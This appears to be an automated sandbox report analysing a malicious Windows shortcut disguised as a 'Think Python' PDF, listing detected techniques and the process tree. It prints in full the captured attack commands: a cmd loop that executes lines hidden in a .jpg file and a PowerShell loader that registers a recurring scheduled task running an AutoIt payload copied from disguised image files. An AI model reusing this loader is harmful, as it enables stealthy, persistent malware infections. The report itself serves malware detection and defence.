68a7a77e1e9a004bc9e823d16c808a3129b17d3600a6fc13f0d34f94f4b0c22a

Analysis

max time kernel
118s
max time network
120s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
13/06/2024, 01:22

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General

Target
ExtractAll/Readme/A-Think Python How to Think Like a Computer Scientist, 3rd Edition (True PDF).lnk
Size 2KB
Sample240613-brbecasfjn
SHA256 adcc446e1b1cd00d20c56b3dd654bef51128875a76b24903d18270b09b7da081
MD5 56cc3193b2289919b689f837baeb6e6c
SHA1 d50854ba733fda66cf8ce29f60312ee10c1dca89
SHA512 37891494577ac912291f7af92d625b4a8399137f95134506686ac3a116e4f0289d13ecb04b0d14cecc8a239f0238776780eaee1609d24ff5cffe63bbe8468e01
MD5 SHA1 SHA512

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2888	powershell.exe

Deletes itself 1 IoCs

pid	Process
2696	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2888	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2888	powershell.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 2220 wrote to memory of 2696	2220	cmd.exe	29
PID 2220 wrote to memory of 2696	2220	cmd.exe	29
PID 2220 wrote to memory of 2696	2220	cmd.exe	29
PID 2696 wrote to memory of 2724	2696	cmd.exe	30
PID 2696 wrote to memory of 2724	2696	cmd.exe	30
PID 2696 wrote to memory of 2724	2696	cmd.exe	30
PID 2696 wrote to memory of 2888	2696	cmd.exe	31
PID 2696 wrote to memory of 2888	2696	cmd.exe	31
PID 2696 wrote to memory of 2888	2696	cmd.exe	31
PID 2696 wrote to memory of 2460	2696	cmd.exe	32
PID 2696 wrote to memory of 2460	2696	cmd.exe	32
PID 2696 wrote to memory of 2460	2696	cmd.exe	32

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2460	attrib.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\ExtractAll\Readme\A-Think Python How to Think Like a Computer Scientist, 3rd Edition (True PDF).lnk"
1⤵
- Suspicious use of WriteProcessMemory
PID:2220
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c for /f "tokens=*" %i in ('dir /b MyCover4.jpg') do @for /f "delims=" %j in (%i) do @%j
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:2696
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c dir /b MyCover4.jpg
    3⤵
    PID:2724
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -noprofile -noninteractive -ExecutionPolicy Bypass sleep 2 ; try{$Lq546qzs = New-Object -ComObject Schedule.Service ; $Plqkjsd ="(Get-CimInstance -ClassName Win32_DiskDrive).Size | Measure-Object -Sum | Select-Object -ExpandProperty Sum"; $Lq546qzs.Connect() ; $MASK = $Lq546qzs.NewTask(0) ; $reginfo = $MASK.RegistrationInfo ;$reginfo.Description = '' ; $reginfo.Author = '' ; $iosdfiu5s = $MASK.Principal; $iosdfiu5s.LogonType = 3 ; $esf5s = $MASK.settings ; $esf5s.Enabled = $true ; $esf5s.StartWhenAvailable = $true ; $esf5s.Hidden = $false ; $esf5s.DisallowStartIfOnBatteries = $false ; $esf5s.StopIfGoingOnBatteries = $false ; $esf5s.MultipleInstances = 2 ; $esf5s.ExecutionTimeLimit = """PT0H""" ; $sqdf = $MASK.Triggers.Create(9); $sqdf.Enabled = $true; $sqdf.Id = """LogonTriggerId"""; $sqdf.Repetition.Interval = """PT5M"""; $sqdf.Repetition.StopAtDurationEnd = $false; $activationTime = (Get-Date).AddMinutes(3); $sqdf.StartBoundary = $activationTime.ToString('yyyy-MM-ddTHH:mm:ss'); $currentUser = [System.Security.Principal.WindowsIdentity]::GetCurrent(); $sqdf.UserId = $currentUser.Name; $poqsdjkpoqj5qs5=$MASK.Triggers.Create(2) ; $poqsdjkpoqj5qs5.Enabled=$true ; $poqsdjkpoqj5qs5.Repetition.Interval="""PT10M""" ;$poqsdjkpoqj5qs5.Repetition.StopAtDurationEnd=$false ; $poqsdjkpoqj5qs5.Id="""DailyTriggerId""" ; $poqsdjkpoqj5qs5.StartBoundary = (Get-Date).AddMinutes(1).tostring('yyyy-MM-ddTHH:mm:ss'); $action_ = $MASK.Actions.Create(0) ; $action_.Path = '"""%appdata%\Microsoft\Windows\AutoIt3.exe"""' ; $action_.Arguments = '/ErrorStdOut """%appdata%\Microsoft\Windows\' + $Plqkjsd + '.au3""""'; $Lq546qzs.GetFolder("""\\""").RegisterTaskDefinition("""$Plqkjsd""", $MASK, 6 , $null, $null, 3) ;$Pllds = \"$env:APPDATA\Microsoft\Windows\"; Copy-Item MyCover2.jpeg \"$Pllds\$Plqkjsd.au3\"; Copy-Item MyCover3.jpeg \"$Pllds\AutoIt3.exe\" } Catch [System.Exception]{};"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2888
- - C:\Windows\system32\attrib.exe
    attrib -h -s /s /d
    3⤵
    - Views/modifies file attributes
    PID:2460

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2888-40-0x0000000002BD0000-0x0000000002C50000-memory.dmp

Download

memory/2888-41-0x000000001B5D0000-0x000000001B8B2000-memory.dmp

Download

memory/2888-42-0x0000000002350000-0x0000000002358000-memory.dmp

Download